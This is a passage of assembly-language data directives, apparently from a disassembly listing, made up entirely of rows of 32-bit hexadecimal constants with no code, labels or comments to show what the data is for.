		dd 55A8BE10h, 5CB1990Bh, 4F4ADDE4h, 7CFE4594h, 3F11D556h
		dd 4B8C0AFFh, 0ABADDDB0h, 5F26A73Ah, 869B057Ch,	0CAB40F2Fh
		dd 0D8CA70BAh, 0B7F89BEh, 0E6BAD504h, 0C022F7F7h, 2196CA74h
		dd 91830D24h, 5F29A412h, 0A80EF015h, 0B2813E2Eh, 6402C893h
		dd 92F9AD13h, 91079682h, 0C78D6451h, 25A37EB2h,	3E11C8B2h
		dd 124D00EFh, 0FCC78F79h, 0A278A4A0h, 7FC9D5E8h, 0B2CF15ECh
		dd 109E2D5Eh, 0D48475D2h, 0BAC98611h, 3E4831E3h, 9BFF2EE9h
		dd 4957A60Fh, 8EE9774Eh, 0DF165C12h, 5F6BCAE9h,	0D9A7B3BBh
		dd 8BE128BEh, 2EA0DA05h, 9883BBA7h, 2E92B119h, 2D33AB60h
		dd 8ED51507h, 15772CBBh, 0E29E6C5Fh, 6E9F4BACh,	0F7109DF7h
		dd 184E15F6h, 0CC66168Fh, 0C41905E7h, 0F1E50467h, 3CEB939Bh
		dd 301C7521h, 0C8212D0Ah, 3121304h, 0E676E45h, 0A5D27BFFh
		dd 78084A02h, 0FAF612FAh, 420B3822h, 4575883h, 2FE3FF29h
		dd 8BF52E9h, 0D79A4864h, 5E5D4D93h, 338255BDh, 0C479226Fh
		dd 0AB77D0E9h, 0AB7BCCA0h, 34329ACCh, 0C7752757h, 1F61A029h
		dd 0E9A10BC9h, 71E718A8h, 0F5FC138h, 0A8F5FED4h, 0B36E29BAh
		dd 0A4A6585Fh, 89835F43h, 0D89221BEh, 0B10BFCB7h, 67D2CE69h
		dd 6A91E482h, 37FA1CC5h, 0AD50C2A9h, 0DA8BA8D5h, 4C5A955Ah
		dd 5E9DE8BEh, 0CA414FB5h, 2CFE867Dh, 40D838AFh,	0FC250675h
		dd 0C3220850h, 0A4F99556h, 60E3A1D3h, 58662570h, 0EF392374h
		dd 2F50C0F8h, 6D5021A9h, 38A0485Bh, 0A0F1637h, 0F681689Dh
		dd 6C46AF74h, 3816524Fh, 991024BFh, 1E4B7DC7h, 4A8885F2h
		dd 0E1555758h, 4C061BEFh, 3E2AA485h, 6C0156Dh, 67A7D732h
		dd 0A7FDA3C2h, 366D5B55h, 0BEDC207Fh, 0BF6C859Ch, 0FED09B90h
		dd 25372A2Ah, 6D621FDh,	0B57ED178h, 47458CC7h, 0C891FA5Eh
		dd 0D2AB5A3Ah, 0C7205310h, 0D58C62EBh, 35D6C5ABh, 0A789F6A3h
		dd 4925F3ABh, 0B46238F0h, 8C15F014h, 37317C0Ch,	0D0036B42h
		dd 2B591E3Dh, 732B55D5h, 6BEAB56Ch, 965AF543h, 6318B2A4h
		dd 2567298Ch, 0E1B6A0Dh, 0D13447D8h, 80B1A452h,	420260C2h
		dd 4F82D44Bh, 0B6CECA0Eh, 4765E314h, 0F6C366A1h, 4957A83Ah
		dd 46D41949h, 0F0000EC5h, 0AEA0A7C0h, 0BC04C405h, 0F6A245AEh
		dd 0CCB35A0Dh, 5EDD9FC6h
		dd 9EE6DF05h, 0DF48A2EAh, 1381649Fh, 346425CAh,	0F5CE5002h
		dd 8849011h, 0CD94809Eh, 431BC742h, 0E25D1D99h,	134CB9F8h
		dd 0EDE2231Ah, 71951921h, 3BDE0FB0h, 0C26B7A67h, 43CB2500h
		dd 4555C864h, 7C8FADC9h, 302BB799h, 52060FFh, 0A685F430h
		dd 0C95E7758h, 0FE267FCFh, 0D1F5E180h, 0CFDE1AC0h, 0E3F5981Bh
		dd 39A3F096h, 0D71E1669h, 19F57ADh, 82050B84h, 0B688B436h
		dd 0BD1C3884h, 0AFE2D8C4h, 95786FFDh, 79406F20h, 25741474h
		dd 6700B7CCh, 0F4098B22h, 8055A82Dh, 0DA9377A1h, 1A6A44Ah
		dd 68F72065h, 0E2DAEC05h, 5D52F7DCh, 0D1AE3F03h, 0ECE50A08h
		dd 0BA93DF89h, 0D0F9F88Dh, 0EC6E872Ch, 6EA44705h, 486A7AE4h
		dd 46233F1Dh, 0EA745D21h, 91E7A03Ch, 0FC55655Ch, 8EA48F21h
		dd 5B2CCE9Ah, 4DA87147h, 7D100425h, 0CE567006h,	89ABFC1Bh
		dd 0A19D317Ch, 95F463D2h, 0FA89395Ah, 87E86E91h, 0BBE89080h
		dd 0C0D181EAh, 54E29EBh, 6D54A9BFh, 15BF1202h, 1EC347Fh
		dd 0E65B876h, 9CAA12E9h, 60E42D2Bh, 6BCD409h, 44FAA47h
		dd 0EE4A4BB9h, 0C8D2022Ch, 4CBCAA6Ah, 0E5F8AEF6h, 7E714100h
		dd 0C038F819h, 0C75CD437h, 61350510h, 2A036287h, 321F8823h
		dd 439EEBADh, 882152FAh, 0C9A511D4h, 0B049A04Dh, 228C84E5h
		dd 2A96025Bh, 0CDA26D14h, 0B2093813h, 98139104h, 18272AD1h
		dd 33A4B83Eh, 9884DFA3h, 13E0361h, 6094C406h, 0E8FA07C9h
		dd 0BFD95114h, 88A74D4Ch, 33E8D4A0h, 612D07D3h,	9ADDC8F7h
		dd 0F2C10260h, 3285040Ah, 0C371259Dh, 8526F309h, 0D4417F04h
		dd 854E1910h, 20871816h, 0A4081345h, 0E4192208h, 0C970E480h
		dd 565B9D8Ch, 0DD2CEE5h, 1A27523Eh, 8016AFFh, 0E2006935h
		dd 1519D862h, 0E42094B3h, 7D7F427Ah, 302C4250h,	36E3C539h
		dd 0EC2F4997h, 0E01103CFh, 0E08D9677h, 8EBED20Fh, 3FE440D1h
		dd 0E3577F90h, 0C0F40E7h, 410F9343h, 1B1A387Eh,	249A42D8h
		dd 28A840BEh, 66702536h, 1FF63826h, 104E25BCh, 209CED13h
		dd 39164B9h, 0D24DDF4Ah, 1CF078E5h, 63B283B0h, 4B568184h
		dd 7604411h, 0C4BC2201h, 382B16E2h, 73433D98h, 0AAD43Dh
		dd 42863489h, 31DD78D9h, 0C8F083A6h, 450D0BA2h,	0E0EE4017h
		dd 9A407760h, 1454F66Eh, 2BCB5572h, 91A4D7FCh, 0B943FF1Bh
		dd 824D57D8h, 5248CE93h, 0A088FE02h, 0A0489FB4h, 25649F74h
		dd 0F8B89EFCh, 1951AFBh, 70F7096Fh, 989ED1BAh, 0F4825FFFh
		dd 0C855D25h, 0CA3091E0h, 0AC2394BAh, 20D230E6h, 0EC1AB827h
		dd 56475FFFh, 401021ADh, 90442584h, 0A431BEE8h,	0E0FA0FFBh
		dd 0FD8E6104h, 2E9120FDh, 36846042h, 3D6050E8h,	91F06814h
		dd 4A43B106h, 590A1ADh,	7F289096h, 766830FAh, 91FF8044h
		dd 0BA033502h, 3FB05C17h, 5CF7850Ch, 0B054759Dh, 36FBF2B2h
		dd 92E94254h, 396D0EC2h, 0BD5F14C2h, 417321EBh,	0AC988956h
		dd 0E51EEB7h, 580363D4h, 0CD446766h, 0F68D0515h, 3966C1A3h
		dd 0E7AD847Fh, 5190688Bh, 64222100h, 21594AD4h,	0A551C5B2h
		dd 991A504Ch, 0D9F7326Eh, 0A3B94AC5h, 0F83B2ACAh, 450119EFh
		dd 0C431B05Eh, 7AE964A1h, 60427BA6h, 6CF50C16h,	2CA59630h
		dd 9C65CC98h, 21B8EA3Ch, 45D93684h, 0CB284460h,	36A215C8h
		dd 0D1B48FF2h, 490E04BEh, 338A6514h, 162F1A53h,	0BAA3588h
		dd 0E47CE621h, 90F37F0Eh, 6D6F43A8h, 3E5F9920h,	0A48230E2h
		dd 0CA0E458Ch, 181EA3B9h, 7B10577Eh, 5F9E0917h,	0EBEC90C3h
		dd 0F0CC7365h, 0C4A37BAh, 0D562F9F7h, 86C23DCFh, 8F5DA823h
		dd 0BE9A3044h, 0A4E96098h, 0B788C473h, 9110590Fh, 40A32E53h
		dd 0FE06B362h, 0EDF57103h, 984084ECh, 41955CA2h, 3EBDA4BAh
		dd 0C038E448h, 46061B69h, 787077BAh, 75B89A64h,	77370078h
		dd 0B2FEC781h, 216D80B8h, 0A900A40h, 0DD1761EBh, 4D78C0AFh
		dd 0F3FB7E94h, 38CC6B2Fh, 75118B6Dh, 0DDC2D143h, 2C9B669Ch
		dd 0F99F16ADh, 2BCA279Eh, 7D01002Dh, 0F32EA634h, 0F47018E9h
		dd 77F8913Bh, 71960720h, 0B0E9BAFBh, 0A0A1E1AFh, 15B563B8h
		dd 208A53B4h, 55974154h, 0E0407E05h, 0E0C6B37Bh, 4303817Ah
		dd 9A116020h, 1A5DAC3Eh, 0D200D067h, 0CE2D00Eh,	0FF938C31h
		dd 974BF416h, 5F23B6C0h, 70F42500h, 322EB7CFh, 5500AFBCh
		dd 0A44E95E7h, 5BB877A0h, 583EEDBEh, 1DE63AA8h,	1D540847h
		dd 0B02C4B7Dh, 1F3E2B4Ah, 0ACA1925Ah, 3BCD314Bh, 435D7150h
		dd 8E12869Ah, 0F7BD7EBFh, 930ADBBh, 7BA19509h, 666DD8D6h
		dd 0F507815Eh, 9B6104E2h, 7AB207D7h, 5024CA06h,	0AAFAFD82h
		dd 7BC02401h, 21087D5Ah, 405C0A12h, 2A0B0E11h, 71B48638h
		dd 592AF88h, 0FD7F42FBh, 12981897h, 40F5C53Ah, 78C5C183h
		dd 0D13C75A1h, 0D3436A28h, 4EDE5F62h, 16C1052h,	1B1E4500h
		dd 848103FFh, 61D5BE05h, 2EE89604h, 24A69E8Dh, 4A0732CFh
		dd 0CCE2C92h, 0C775FAA0h, 8023EA54h, 3461B014h,	2BFB5D18h
		dd 65AF9B89h, 0B208211Ch, 256E7640h, 38A6CAD5h,	658F2089h
		dd 0A195F750h, 28AAC691h, 9E530658h, 9679CA59h,	6F46D4E1h
		dd 625F2065h, 3C291078h, 880E1F5Eh, 0B3FCC351h,	8170E433h
		dd 67D01092h, 62D3ACECh, 0A184AB0Ah, 7FCBFA1Ch,	0F82FC41h
		dd 0F0C3080Eh, 310B0981h, 0B0FFF002h, 6A4336A2h, 581B35BEh
		dd 0F854CFAh, 0A7FEC31h, 0E5C0FEEBh, 63044350h,	6415A00Ah
		dd 5804CFFAh, 0DC7E4109h, 0A42AC129h, 0E0F82FEAh, 7AFDB33Ah
		dd 3F90505Ah, 128446B0h, 15C4DD57h, 0A2843055h,	0AFA2A205h
		dd 9416689Fh, 0E024EBE7h, 1D20D525h, 0A68C2FB7h, 7D36E338h
		dd 43832DEFh, 8D0F605Eh, 0A15566C6h, 4B6E44A6h,	0CA57EE57h
		dd 2A2F949Eh, 29D159CDh, 292DE5Ah, 4FD1B2C3h, 1D8010AAh
		dd 0EA57737Ah, 22078201h, 0E870D841h, 0FF3BFCC3h, 8301C7BFh
		dd 0C080E09Bh, 51534326h, 2E12676Dh, 92819DD3h,	16D8B712h
		dd 0BAACC760h, 0EA682A98h, 656C3B83h, 1C7529E2h, 0A31A454Fh
		dd 5B37A2E8h, 492126D4h, 0A040DD9Eh, 3DBFFBF6h,	6A55805h
		dd 0B37D1303h, 2F32A66Fh, 0B2087559h, 0B1CA091h, 7CA0FBF4h
		dd 6BA3F0Bh, 81388A41h,	0BD7916D2h, 98D1078Bh, 590B314Ah
		dd 7C0B7FCCh, 0F5C0EDCBh, 0B9EA25C2h, 0D9A63CCDh, 6434A205h
		dd 55C2304Ch, 48F740Dh,	0C21A9D0Ah, 909F6273h, 649A12D2h
		dd 2E5EA195h, 0B066B207h, 0BAD183BEh, 0BF886E44h, 0C15EA0DBh
		dd 42AB6E9Ch, 17A55D7h,	7E04044Ah, 57D6401Ch, 0E6B324C9h
		dd 0E511F9Ah, 0E16F0EAFh, 0BB42EB0Eh, 7423BD6Ah, 4FB277AFh
		dd 30457E18h, 0B8AA9F8Dh, 16701EB9h, 0BE98C597h, 53090CF9h
		dd 0C757AAACh, 44155480h, 0FE5751EAh, 8110CB24h, 0B0DDE68h
		dd 0FCB45FC9h, 7CF6ED01h, 2D897D04h, 65413175h,	3E4BFC56h
		dd 0BBE92AA8h, 0FB41A86Ah, 0E2A071DCh, 0A3A57F8Ch, 0D63A356Bh
		dd 0C43979B9h, 891C886h, 0EC566342h, 2DF6602Eh,	3BE95846h
		dd 0C75B3409h, 0FA68A0F7h, 629F848Eh, 0E501CB50h, 163B8A83h
		dd 0D176DF4Dh, 0BA70E998h, 0AB9754E2h, 50675218h, 0A5A2652Dh
		dd 5E7F579Ah, 33030910h, 0BDF823FCh, 421E02A8h,	355967FCh
		dd 153FB856h, 13C46D7h,	0FCB422AEh, 582D9A3Ah, 8457171h
		dd 918C853Bh, 0CE3B2A6Ch, 0C7763EADh, 0C50E8E7Dh, 8BA49F8Dh
		dd 0CEA3D379h, 0FBB1E000h, 0ED194B4Ah, 0DF471A9Ah, 87A13A94h
		dd 2E3A5BFDh, 0AE958D46h, 3263B885h, 0C825E57Ah, 32EB6AFAh
		dd 0AAE414BCh, 826E36ACh
		dd 0AC8B42A5h, 8F982E89h, 1EECDD7Bh, 0BB0E91F7h, 9AB3ACCCh
		dd 0FDEFFE51h, 9D5469Dh, 0D534D5BCh, 0D2F45CCBh, 743026C9h
		dd 0ABBF538Fh, 0E0769D2Dh, 46E9740Eh, 9B86AAC3h, 49C5BFC8h
		dd 366DB863h, 1D1E1D57h, 40A2C74Dh, 6C120D7Dh, 0ABAF1D8Ch
		dd 7DF16D50h, 0E804C8ACh, 0CCAD5B3Ah, 0BAEF989Fh, 1091AFF8h
		dd 8E5431D4h, 961D1A6h,	0F581C228h, 0BA648EB4h,	6C4EF6C0h
		dd 0EF014F5Dh, 145E3A8Ch, 26662AEBh, 0D2797CCCh, 70884835h
		dd 9D92565Fh, 5611CC8Bh, 12E075D2h, 0DF3BB506h,	0CAD62E2Fh
		dd 42DC0BEh, 1EBABE8Ah,	7086D9EAh, 3F9F4157h, 6A404059h
		dd 0D9782F5Bh, 0B6D9E4C6h, 0D51C0AB9h, 0A6257380h, 585A6AF9h
		dd 31BE7C87h, 0ABA840F8h, 0FAF64C2Ch, 1D3425A8h, 9ACD0B34h
		dd 0D51E5F62h, 0F29FE467h, 839E1460h, 87FD829Dh, 0BF27C900h
		dd 6CF7556h, 20D66B42h,	9D62FC02h, 5380686Ah, 2484E156h
		dd 0D4283ECEh, 38682515h, 8D74ECBh, 0B72A0794h,	143A6D57h
		dd 882A32D4h, 0BAA3B33Dh, 4068868h, 2FB4C10Fh, 0A2EFB123h
		dd 29A34B21h, 0AFC2F967h, 0A6A15CAh, 6C05A550h,	8EB38838h
		dd 93F86EE9h, 399D2A69h, 0A29EF5Eh, 74F1071Eh, 3FB5CADFh
		dd 54B1BBF8h, 74ED90C5h, 0AF7AF2B5h, 15D58CA2h,	0F45786EFh
		dd 0F11CE3F9h, 0BF798588h, 673AE260h, 0E959D579h, 88FECFA2h
		dd 17C8578Bh, 95E67373h, 0A8291F2h, 10E474C8h, 1BFDEB31h
		dd 1C61AFE1h, 0BBE943F1h, 0FCEC81BFh, 26EAD117h, 13CF4AAEh
		dd 0B17D9AAAh, 34D2E32Eh, 1F3B495Ah, 174A7748h,	0F175E167h
		dd 0ACC690BAh, 7C6F176Ah, 82106277h, 0FF04623Ah, 915CCC2Ah
		dd 0D6EA14CBh, 5D375F0Fh, 0A8513EA7h, 536C93BDh, 5E207C27h
		dd 0DE7C8FDh, 0CF5ED7F5h, 0BB09DAEFh, 83053F0Eh, 0C8357844h
		dd 33B86778h, 3AED2109h, 0DA716E4Dh, 6E5F3F47h,	19FE0575h
		dd 4F5E2A88h, 0FBBFB6DFh, 83BBF677h, 0D4DFDC6Fh, 8AF773B5h
		dd 22EAE646h, 0F0301D6Ah, 277FC279h, 48CCB691h,	15EB97E9h
		dd 99F2BD78h, 62FF4A2Fh, 0A8ABEB29h, 19950E9Bh,	6E14EC4Ch
		dd 71F6948Ch, 0D6FBE282h, 12832C80h, 178E10F4h,	31AFEC3Eh
		dd 0EAA6281Eh, 3E353B20h, 18AA5127h, 9DF35788h,	425CB435h
		dd 0EAEE693Eh, 5BC2AF70h, 5445F0F6h, 0E2689185h, 470232ECh
		dd 0A82A431Dh, 5236F90Ch, 1D4EACD3h, 5111AA89h,	0ABE3AFEh
		dd 1F885C36h, 528731ECh, 0CBAB273Ah, 0E4185EA8h, 843F3DD8h
		dd 823BD1D8h, 56B16D41h, 92487811h, 1FBE98A3h, 5D3E1702h
		dd 0FC292957h, 181FA9D1h, 0D0CDFB2Ah, 574FDB75h, 2280808h
		dd 0E4475526h, 0F7011211h, 4C5C0E84h, 4C88491Bh, 450D3B1Bh
		dd 2539C931h, 419F78B0h, 82CE501Ch, 817A5C9Dh, 0F81E6090h
		dd 5E1AFD17h, 31217718h, 8F91C1ACh, 0D86926EAh,	601257CEh
		dd 0A016285Bh, 0EAD64A44h, 729840F8h, 0E1BA8457h, 0BB94BE62h
		dd 0C2D50BFAh, 0BBCA4C53h, 0DF4167C4h, 0D206F780h, 5F5C9A64h
		dd 0ECC4BA96h, 6CB7328Ch, 0BD7867F6h, 13F8C583h, 0C64F03C8h
		dd 0A138BF1Ch, 32B8F8A0h, 18B1A831h, 49C18875h,	139342C0h
		dd 0CE292686h, 0F3B275F9h, 4B1CBFCAh, 91132D4Eh, 3F3551Ah
		dd 32C20A85h, 0C513AC05h, 83524F12h, 575F9D72h,	9768800Ch
		dd 9E26ABEEh, 656EFCD9h, 945603F3h, 0BF176002h,	60270D27h
		dd 0A7E8D0A4h, 9019130Bh, 4627CE39h, 0DDD653C5h, 330A519Ah
		dd 82110348h, 1F67A050h, 2034748Bh, 8D2781F3h, 87BD56E5h
		dd 55FABB91h, 8B14097Ah, 2E84818Ah, 465D6AEAh, 4A9166BAh
		dd 923D854Ch, 2B185C78h, 0E09E7B31h, 0C9F862C7h, 3027B88Ah
		dd 0C8A1969h, 769AB22Ch, 6E68C0F4h, 356C2A4Fh, 0E8FB9853h
		dd 0A8195FC2h, 0D7D08A5Ch, 0FB0981FDh, 3F4FF58Eh, 5AE647CDh
		dd 75F82D8Fh, 0CAD10737h, 23585AA2h, 4A995F3Ch,	57DD2EC3h
		dd 0BA68BB91h, 0B3F8076Ch, 0D10746EFh, 2CE81B45h, 1D4A9FC2h
		dd 0B5AE58C7h, 0EDD0013Fh, 65FA9AC2h, 0E9480148h, 27090ACAh
		dd 4BB6D83h, 21229CB3h,	83629662h, 78EDF5EEh, 0BA763084h
		dd 3F3E5628h, 27076864h, 0BED05CCFh, 3E53A96h, 0CCA46BF1h
		dd 0BEC5952Eh, 0F969E518h, 0D60D3073h, 98C67F9Dh, 2EADC681h
		dd 0D183DCE0h, 4D85D72Fh, 62D75463h, 0FFCA1BDAh, 0F22F4254h
		dd 8C08051Bh, 18E4E42Ch, 354E2178h, 5DFC14F8h, 0A57DFFDDh
		dd 74F536C5h, 0B8C7E81Dh, 0B9D1A2E0h, 6DD72A6Fh, 3E60E99Fh
		dd 39791AFFh, 0A0D40C6Dh, 1D438671h, 0F4975C5Dh, 1291E0DDh
		dd 0FDFB0124h, 2DA37982h, 2C9700A1h, 66D42876h,	0F7FFC856h
		dd 62F85ABFh, 7D109183h, 164B4082h, 2E91A271h, 61AE1F68h
		dd 733046F8h, 0D7C3E602h, 3AEEBAC3h, 5F4FE141h,	6D9FA32Ah
		dd 28EE8CD2h, 51735EE4h, 8131F5F5h, 0E4A85F2Fh,	50ABC641h
		dd 98348087h, 0C819E4A6h, 9E7C3EA5h, 857B6A32h,	0EDEB4E11h
		dd 0EF6E50B3h, 0DBC2D2DEh, 36A16E1Dh, 86C6B2C8h, 5F7A387Ah
		dd 49591AAFh, 70688D58h, 9457302Ch, 404A67C0h, 0C29C99D8h
		dd 1837D41Dh, 40F80EC6h, 0F84000Dh, 0D434E4F9h,	65D2B549h
		dd 8FFA5309h, 0B3D70988h, 6BA7E32Bh, 0BC55752Ah, 2258A33h
		dd 0BFE29FC3h, 0A2263E81h, 679FD7F3h, 9FDC8457h, 35A460ADh
		dd 77731D11h, 3AAB8D2Ch, 0CD5B8F45h, 0A044E24h,	3139B3A6h
		dd 26B1ECD3h, 5EA367BCh, 4DEBEA16h, 9A54AFBBh, 0CC025795h
		dd 6DA63A5h, 14D1CCB1h,	0A9A66B17h, 0C90ED7A4h,	4DE2FA87h
		dd 0D3318883h, 0E335CFF0h, 9A5C0B40h, 920EC116h, 0D2E57C5Fh
		dd 57A7BF26h, 0A88C3E3Ah, 1F29FBF4h, 0AC31539h,	5C135976h
		dd 43AFF0ABh, 1548BF20h, 0C12112F5h, 0B01522BAh, 9A916EE4h
		dd 7A04FF31h, 6A504C6Dh, 0F38ABB80h, 202627CFh,	3CB29196h
		dd 0CB2B7C08h, 0E4561F84h, 87C8807Dh, 24824172h, 80215DC5h
		dd 0EA1E3454h, 0CACA302Ah, 0E44925AAh, 4BC6D5FEh, 46523C10h
		dd 12F5220Dh, 0ECA4EA9h, 14CC6002h, 0E4E06241h,	286BDFEh
		dd 88473C3Eh, 3222E18h,	992B1A81h, 0CC9124DBh, 5D048FACh
		dd 5D8C0BE4h, 14D3FF17h, 8BA70A53h, 7DFB09D9h, 844F97A3h
		dd 3E171B6h, 99CA1F83h,	72DD72C3h, 0F638B872h, 3EB1285Ah
		dd 239305A8h, 4D8E803h,	0D9EB3546h, 0E97F2AC2h,	2AB386B2h
		dd 149C9234h, 3182140Bh, 9988D55Dh, 0E1EE18C5h,	0A29887Ah
		dd 1108F937h, 0B1347C4Fh, 0DE106103h, 186DDFC5h, 0D555F83Dh
		dd 0C7E1AA93h, 77ECFA08h, 5371C3F4h, 248EAABFh,	0AC87578h
		dd 0A0B0ABF8h, 63EA7EFDh, 0C70ED32Ch, 8FB31181h, 0E24FA99h
		dd 0C4F64166h, 0ED026700h, 0DC457246h, 0F20881F0h, 0A7D2AB6Fh
		dd 0E41AAB00h, 0A6FF1FACh, 22966620h, 0EA158F5Dh, 1F0D6778h
		dd 0DEF92C38h, 51FA6B40h, 13495161h, 8C737B08h,	1F98E36h
		dd 1A11467h, 0A08C3CAFh, 0EBF7C501h, 0B114C291h, 0CDD63F8Ah
		dd 873A05E9h, 3D700E5Bh, 58CC446h, 80BD9FF7h, 0C55B819Ch
		dd 0E96A03FEh, 0C0772ED6h, 0B658982Ah, 70E340DDh, 303BE02h
		dd 0C668162Ah, 97043156h, 0EA28CAF2h, 0D1319773h, 34A4C3A6h
		dd 5B272573h, 0B31B7D39h, 218BC54Eh, 0EE4E8DEh,	0E57424E7h
		dd 29993B84h, 0F6226F5Ch, 0BDA9F4FBh, 5FF97D32h, 0F924D95Ch
		dd 2FCC979Ah, 0D090DCFAh, 0A335E194h, 4946E0DCh, 0EBCF3A8Dh
		dd 0A7CAA5h, 4F8FCC1Ah,	824F7F76h, 85E1862Fh, 0C8F5A775h
		dd 0A0A27A57h, 0EE83FE0Ah, 826E5CA2h, 3049A85Dh, 4D408DAh
		dd 15723600h, 5D157D12h
		dd 80368C24h, 80919691h, 196E6724h, 67D96C51h, 472B1B14h
		dd 0D8F1C851h, 48FCA28Ah, 94E67367h, 7581A8E8h,	7C59DA91h
		dd 0F14731DAh, 3254FA9Dh, 9515436Eh, 0E01C4DEAh, 0C4EE76E6h
		dd 0A913C0E8h, 32A0EAD1h, 0F8C469C2h, 0C1C57340h, 5011F8ECh
		dd 76641F05h, 8C6D717Fh, 0BA1C6839h, 8030DCF9h,	0FC3511F2h
		dd 0E147BC0Bh, 0EF5D73Bh, 6665306Bh, 88C0C094h,	85E11C42h
		dd 11AEACA3h, 26FB7ADCh, 0A79272FBh, 0CBE951Ah,	0C16702BBh
		dd 18312E7Eh, 0E23C5ACDh, 0AB952AECh, 405DA2A5h, 0A739A471h
		dd 65E10A28h, 57B18B5Ch, 28A53430h, 8E7503E7h, 0C8AB387Bh
		dd 37514507h, 882FEE35h, 343EC656h, 0D544B00Ch,	8B927341h
		dd 9C42F559h, 805560FAh, 0E822B29Bh, 0DB358B9Ch, 7270B7CDh
		dd 0C254C62Eh, 0E3818B29h, 0CB1C6B22h, 90EF72EEh, 0C50DC752h
		dd 704FD0F0h, 0C983D044h, 259831B3h, 0C87319F7h, 328AF257h
		dd 8B5DA546h, 0BAC08D5Dh, 5087A3DEh, 2C7E6F4Eh,	0E4B5E738h
		dd 9449FCBh, 74857EA8h,	0F47CEB97h, 0EBF962A0h,	0FFCA2702h
		dd 0D072C457h, 239C4309h, 0CC6D8387h, 38C0A42Eh, 19A737AEh
		dd 4194D229h, 946E1948h, 96E88D75h, 68B2FC5h, 52CCFC31h
		dd 8EB35680h, 48ABF88Fh, 4FE004CAh, 0C5865138h,	14AE703h
		dd 0CAF8E91Eh, 0C1360968h, 7EB9F8ACh, 2AD4516Fh, 0AE2E8303h
		dd 53AB0AE7h, 0AFC58ECAh, 42D15A88h, 47102AA0h,	16BBAE68h
		dd 2B01AB5Ah, 451C4220h, 0AE5554D6h, 71DFAA99h,	0EEC14E31h
		dd 0DE2226Ch, 1ABC700Bh, 0A3B9A5C1h, 0D4BA013Fh, 0D340E765h
		dd 77B3FC0Bh, 0D20B32DAh, 5298F7D2h, 23AB77C0h,	28EA9EBh
		dd 93DC29C8h, 7AC632E6h, 8F72BADAh, 4DAC6D18h, 0B6A7715Ch
		dd 731D1020h, 0C7354DD6h, 8838A87Ch, 91905A0h, 124A861Dh
		dd 8A9C7C5Fh, 851CA85Bh, 72851972h, 6092E0D6h, 0B5F548E2h
		dd 8FAF4E1Ch, 25088A88h, 0A065D350h, 0D0F988DAh, 0B6038032h
		dd 4B46CDC5h, 70DC4F6Ch, 0A722E5C5h, 0A2D7D179h, 0F6776AFCh
		dd 0EB6845EFh, 0C8C402Ch, 0AE0C640Ch, 0AF0D0963h, 9FFF1B29h
		dd 3832D5Ch, 0F64BC991h, 62A801FBh, 0E81C7BCBh,	4E20B0CFh
		dd 0F140F1CDh, 19F2EEF4h, 0C942B167h, 0E951AE1h, 3AFA38BEh
		dd 77115DB1h, 0CD4B722h, 0B6B39A35h, 0FE3E267Dh, 8E326ABBh
		dd 0CE05D2F1h, 0C57D71Dh, 0A6C6E7B0h, 7D81436Eh, 75951094h
		dd 94460207h, 0D87BBB7Dh, 972870CAh, 0A78C1550h, 0EEDF7CA2h
		dd 60587AE5h, 413DB51Ch, 2531A226h, 0AFA867A0h,	0C39CDD3Bh
		dd 512B3741h, 0D7989960h, 0CA95C6E1h, 3A88A655h, 47B1691Dh
		dd 0DAA3EDEAh, 6048F794h, 8DB3064Dh, 31798A2Fh,	8F2F2BC1h
		dd 0F346861Bh, 0C0A28CEBh, 0BBAB752Ah, 6223965Dh, 21AEE339h
		dd 0A540D7E8h, 565D12DCh, 5ED39CB3h, 0A35DFD2h,	117E8810h
		dd 0A1ED22DBh, 4B6F8D62h, 7F5CF787h, 30ACB934h,	140A0ED5h
		dd 5FFDE221h, 797D503Ah, 462F2562h, 4FE9888h, 1AEF912Ch
		dd 30716A5Ah, 374F8821h, 89890B27h, 0EB05BFF8h,	58CAF4C6h
		dd 0DBF3FFD0h, 383D22B8h, 795A4F7h, 419FA197h, 2D0C17C9h
		dd 0E85067EEh, 9E4587EDh, 0C1F46A99h, 0F6F55AAFh, 0DFA9DFFFh
		dd 0FE5E4D78h, 8A12B422h, 1D953509h, 0A92A2410h, 85EDFE58h
		dd 0D44D9FFDh, 842BAB76h, 0F163CB98h, 5E054E4h,	923A1494h
		dd 0D6246898h, 557151D5h, 0CFE0C4C8h, 0F50EFBACh, 8139DE2Bh
		dd 0D52C7AE9h, 0F9C50149h, 4217436Fh, 0F427F286h, 4D51E027h
		dd 0F88CC827h, 0CEA9598Fh, 5EDE179h, 0D8A8B511h, 66072863h
		dd 0FACE0DC7h, 6639D2E0h, 3AB0C2FAh, 7AD8381Eh,	6444E961h
		dd 45169058h, 62DCBA78h, 0C1EA17CFh, 2AF4B305h,	0A0C5DA8Dh
		dd 0E82F517Ch, 341741B8h, 2BB8E509h, 438AD4ABh,	4430239Dh
		dd 2EBF76C4h, 0F34A1A38h, 4C1B0C5Fh, 38F4ACCh, 0DCB6BD6h
		dd 8C644F25h, 423AA4A2h, 4550D53h, 8C388069h, 915712F6h
		dd 66A94EF4h, 0CE1906E5h, 0C368EC4Dh, 632B5E33h, 0F9C219CEh
		dd 78B66554h, 568F7ED5h, 1C2F4BECh, 9F6B457Ch, 0FFBBBF60h
		dd 6A210655h, 0EA768457h, 31842380h, 94618E0Eh,	0D8C87238h
		dd 0C75F5E3Ah, 68C2832Bh, 6EC04411h, 15DA7194h,	442755D5h
		dd 0EA27F840h, 0F6EED927h, 0C209D885h, 0BC75BF40h, 5A2898E2h
		dd 4C8CD184h, 46579D10h, 9B79251Ch, 0C7778F5Ah,	0AB0283ABh
		dd 0AF57D4FBh, 0B399895Dh, 0D02ED7BBh, 149080FCh, 43F57150h
		dd 9FAB1683h, 0E131BD0Eh, 3C31878Bh, 831B4C60h,	0F55DF37Eh
		dd 5348F316h, 11DFB6E4h, 3E41218Dh, 83F97272h, 56BA5E0Fh
		dd 2553F027h, 0FF1B4C54h, 0CD44ED3Bh, 9FC385A8h, 0BD7CAD05h
		dd 3D715072h, 6225797Ch, 0BA42D774h, 7DA16B32h,	99E2430Dh
		dd 0BB9B6183h, 17F5ACAEh, 0CF911E3Fh, 73302214h, 0A431D95Bh
		dd 20C00FF3h, 42040052h, 703E31E0h, 0A2FE0C84h,	0F56936A4h
		dd 1AFDB2F3h, 0A02C688h, 791EC078h, 0DCCAC03Eh,	72E8F8CEh
		dd 5F05E9D2h, 0B8252B98h, 0E7D1D61Ah, 2A51903Bh, 0D60FE9A1h
		dd 95AA77DCh, 0B00806ACh, 0A0460452h, 89E06AC4h, 0A694ACD1h
		dd 7359058Eh, 0F94E0131h, 0DF0C28Bh, 42C471ABh,	8E5B732Fh
		dd 2860D75h, 4116A381h,	2F30C645h, 0F95A2FDh, 636F5A56h
